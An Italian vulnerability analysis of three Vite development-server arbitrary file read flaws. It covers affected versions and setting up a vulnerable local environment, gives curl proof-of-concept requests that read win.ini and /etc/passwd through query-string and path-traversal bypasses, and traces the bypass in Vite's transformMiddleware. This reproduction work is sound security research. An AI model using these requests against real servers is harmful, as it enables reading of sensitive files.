
Analisi della riproduzione delle vulnerabilità della serie CVE-2025-30208
CVE-2025-30208, CVE-2025-31125 e CVE-2025-31486 sono vulnerabilità di lettura arbitraria dei file nel server di sviluppo Vite. Queste vulnerabilità consentono a un attaccante di aggirare il controllo degli accessi tramite specifici parametri URL e di leggere file sensibili sul server attraverso il modulo fs. Le tre vulnerabilità possono essere considerate una serie, in quanto le cause che le generano sono molto simili.
Versioni interessate da CVE-2025-30208:
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
Versioni interessate da CVE-2025-31125:
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
Versioni interessate da CVE-2025-31486:
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
Per allestire da zero un ambiente vulnerabile localmente, creare prima un progetto con create-vite
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
In questo momento il file package.json generato potrebbe contenere il simbolo ^ nella versione di Vite (ad es. "vite": "^6.2.0"); è necessario modificarlo manualmente in una versione esatta (ad es. "vite": "6.2.0") e quindi eseguire:
npm install
Infine, per avviare l'ambiente:
npm run dev
Naturalmente è anche possibile utilizzare direttamente la cartella vuln-env di questo repository; dopo npm install basta eseguire npm run dev.
Per comodità, la riproduzione delle tre vulnerabilità è stata effettuata con la versione 6.2.0. Eseguire npm run dev e attendere l'avvio dell'ambiente.

CVE-2025-30208 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

CVE-2025-31125 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
Il contenuto letto è codificato in base64; dopo la decodifica si ottiene il contenuto originale del file.

CVE-2025-31486 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
Il POC menzionato nel bollettino per la lettura tramite percorso relativo è il seguente
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
x indica il percorso del progetto locale; il POC utilizzato per il test locale è il seguente
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
Si può notare che i POC si dividono sostanzialmente in due categorie: quelli che non richiedono l'aggiunta di header HTTP devono contenere ?import&. Per ora non approfondiamo; la questione verrà chiarita nella fase di analisi del codice sorgente.
Per analizzare il codice sorgente è necessario eseguire il debug; qui si utilizza vscode per eseguire il debug del progetto. Il contenuto del file launch.json è il seguente.
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
Dalla soluzione di patch ufficiale, la modifica ha rafforzato l'istruzione if nella funzione transformMiddleware che controlla il formato dell'URL e verifica se il servizio è accessibile. Pertanto, impostiamo un punto di interruzione nella funzione transformMiddleware e seguiamo il processo di parsing della richiesta.

Poiché il progetto creato contiene solo file JS compilati, si aggiunge il punto di interruzione cercando direttamente la parola chiave della funzione nell'intero file.

Eseguendo il POC, il debugger si ferma correttamente sulla funzione target. Si può osservare che, dopo l'assegnazione di alcune variabili, il flusso di chiamata entra nella funzione viteTransformMiddleware; dopo aver verificato che il metodo della richiesta sia GET e che la richiesta non riguardi la directory root né l'icona, l'URL subisce l'eliminazione del ? finale tramite removeTimestampQuery.
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
Tramite cleanUrl() si ottiene l'URL senza i parametri di richiesta; in questo momento il valore di withoutQuery è "/@fs/c:/windows/win.ini", quindi non si entra nel blocco if (!isSourceMap). Successivamente, publicDirInRoot determina se la directory delle risorse statiche è configurata nella directory root del progetto, mentre url.startsWith(publicPath) verifica se l'URL richiesto inizia con il percorso pubblico configurato (ad es. /public/). Quando entrambe le condizioni sono soddisfatte, viene chiamato warnAboutExplicitPublicPathInUrl(url) per emettere un avviso. Ciò indica generalmente che lo sviluppatore potrebbe aver aggiunto erroneamente un percorso pubblico duplicato nel codice. L'URL non soddisfa le condizioni, quindi viene saltato anche questo blocco di codice. I risultati di rawRE.test(url) e urlRE.test(url) sono entrambi False, quindi il risultato dell'espressione logica viene impostato direttamente a False senza valutare ensureServingAccess(), saltando il blocco di codice. Nel successivo controllo if, l'URL soddisfa la forma regex definita da ImportQueryRE e quindi entra nel blocco if; dopo la funzione removeImportQuery(), l'URL diventa /@fs/c:/windows/win.ini?raw e viene passato alla funzione transformRequest().
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
Nell'istruzione if che verifica isJSRequest(url), si può notare che controlla anche se il valore dell'header HTTP sec-fetch-dest è script; in tal caso il controllo viene superato. Questo è il motivo per cui, come menzionato in precedenza, i POC si dividono sostanzialmente in due categorie: l'aggiunta dell'header HTTP e l'uso di ?import& servono entrambi a superare il controllo dell'istruzione if. (In realtà esistono anche altri metodi per superare il controllo, ad esempio tramite isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??)

Dopo l'elaborazione dei parametri, i controlli ambientali, la chiave di cache e il rilevamento delle richieste duplicate, si entra nella funzione doTransform().
